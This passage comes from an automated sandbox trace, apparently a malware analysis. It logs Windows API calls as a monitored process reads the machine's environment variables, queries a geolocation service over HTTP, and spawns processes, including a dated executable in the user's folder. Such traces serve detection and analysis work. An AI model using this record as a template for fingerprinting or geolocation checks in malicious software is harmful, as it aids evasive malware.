lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x2d79c0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0048.956] GetLastError () returned 0x0 [0048.956] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2d18, Size=0x34) returned 0x2e2d18 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0048.956] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x17) returned 0x2d79e0 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x2d79e0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0048.956] GetLastError () returned 0x0 [0048.956] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2d18, Size=0x38) returned 0x2e2d18 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.956] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xe) returned 0x2e0a30 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x2e0a30, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0048.956] GetLastError () returned 0x0 [0048.956] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2d18, Size=0x3c) returned 0x2e2d18 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0048.956] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x69) returned 0x2e2d60 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x2e2d60, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0048.956] GetLastError () returned 0x0 [0048.956] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2d18, Size=0x40) returned 0x2e2d18 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0048.956] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3e) returned 0x2d5930 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x2d5930, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0048.956] GetLastError () returned 0x0 [0048.956] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2d18, Size=0x44) returned 0x2e2dd8 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.956] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1b) returned 0x2e12b8 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x2e12b8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0048.956] GetLastError () returned 0x0 [0048.956] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x48) returned 0x2e2dd8 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0048.956] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1d) returned 0x2e12e0 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x2e12e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0048.956] GetLastError () returned 0x0 [0048.956] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x4c) returned 0x2e2dd8 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0048.957] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x48) returned 0x2d9148 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x2d9148, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0048.957] GetLastError () returned 0x0 [0048.957] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x50) returned 0x2e2dd8 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0048.957] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x12) returned 0x2d7a00 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x2d7a00, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0048.957] GetLastError () returned 0x0 [0048.957] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x54) returned 0x2e2dd8 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0048.957] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x18) returned 0x2d7a20 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x2d7a20, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5504", lpUsedDefaultChar=0x0) returned 24 [0048.957] GetLastError () returned 0x0 [0048.957] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x58) returned 0x2e2dd8 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.957] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1b) returned 0x2e1308 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x2e1308, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0048.957] GetLastError () returned 0x0 [0048.957] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x5c) returned 0x2e2dd8 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0048.957] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x24) returned 0x2dce58 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x2dce58, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0048.957] GetLastError () returned 0x0 [0048.957] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x60) returned 0x2e2dd8 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0048.957] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x29) returned 0x2dd588 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x2dd588, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0048.957] GetLastError () returned 0x0 [0048.957] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x64) returned 0x2e2dd8 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.957] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1e) returned 0x2e1330 [0048.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x2e1330, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0048.958] GetLastError () returned 0x0 [0048.958] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x68) returned 0x2e2dd8 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0048.958] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x41) returned 0x2d9198 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x2d9198, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0048.958] GetLastError () returned 0x0 [0048.958] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x6c) returned 0x2e2dd8 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0048.958] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x17) returned 0x2d7a40 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x2d7a40, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0048.958] GetLastError () returned 0x0 [0048.958] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x70) returned 0x2e2dd8 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0048.958] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xf) returned 0x2e0a48 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x2e0a48, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0048.958] GetLastError () returned 0x0 [0048.958] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x74) returned 0x2e2dd8 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0048.958] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x16) returned 0x2d7a60 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x2d7a60, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0048.958] GetLastError () returned 0x0 [0048.958] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x78) returned 0x2e2dd8 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0048.958] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2a) returned 0x2dd5c0 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x2dd5c0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0048.958] GetLastError () returned 0x0 [0048.958] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x7c) returned 0x2e2dd8 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0048.958] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x29) returned 0x2dd5f8 [0048.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x2dd5f8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0048.959] GetLastError () returned 0x0 [0048.959] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x80) returned 0x2e2dd8 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0048.959] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x15) returned 0x2d7a80 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x2d7a80, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0048.959] GetLastError () returned 0x0 [0048.959] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x84) returned 0x2e2dd8 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.959] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1e) returned 0x2e1358 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x2e1358, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0048.959] GetLastError () returned 0x0 [0048.959] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x88) returned 0x2e2dd8 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0048.959] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2a) returned 0x2dd630 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x2dd630, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0048.959] GetLastError () returned 0x0 [0048.959] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x8c) returned 0x2e2dd8 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0048.959] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x12) returned 0x2d7aa0 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x2d7aa0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0048.959] GetLastError () returned 0x0 [0048.959] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x90) returned 0x2e2dd8 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0048.959] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x18) returned 0x2d7ac0 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x2d7ac0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0048.959] GetLastError () returned 0x0 [0048.959] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x94) returned 0x2e2dd8 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0048.959] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x46) returned 0x2d91e8 [0048.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x2d91e8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0048.959] GetLastError () returned 0x0 [0048.959] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2dd8, Size=0x98) returned 0x2e2dd8 [0048.959] GetLastError () returned 0x0 [0049.032] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e29a8) returned 0x80 [0049.033] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e29a8) returned 0x80 [0049.033] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e29a8) returned 0x80 [0049.039] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8ec) returned 0x2e3fb8 [0049.108] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e29a8) returned 0x80 [0049.108] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0a60 [0049.108] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e29a8) returned 0x80 [0049.109] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e29a8) returned 0x80 [0049.109] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e29a8) returned 0x80 [0049.166] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e29a8) returned 0x80 [0049.171] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0049.295] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x40) returned 0x2d5cd8 [0049.295] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) Thread: id = 72 os_tid = 0x360 Thread: id = 73 os_tid = 0x6f0 Thread: id = 74 os_tid = 0x43c Thread: id = 75 os_tid = 0x670 Thread: id = 76 os_tid = 0x32c Thread: id = 77 os_tid = 0x6a4 Process: id = "7" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x1ef7e000" os_pid = "0x78c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x370" cmd_line = "taskeng.exe {9B91B3C3-45AF-4FF6-84A9-1005CD5626F2} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 79 os_tid = 0x60c Thread: id = 80 os_tid = 0x20c Thread: id = 81 os_tid = 0x244 Thread: id = 82 os_tid = 0x7c8 Thread: id = 83 os_tid = 0x174 Thread: id = 84 os_tid = 0x15c Thread: id = 85 os_tid = 0x5dc Process: id = "8" image_name = "host1506_2020-06-15_14-07.exe" filename = "c:\\users\\5p5nrgjn0js 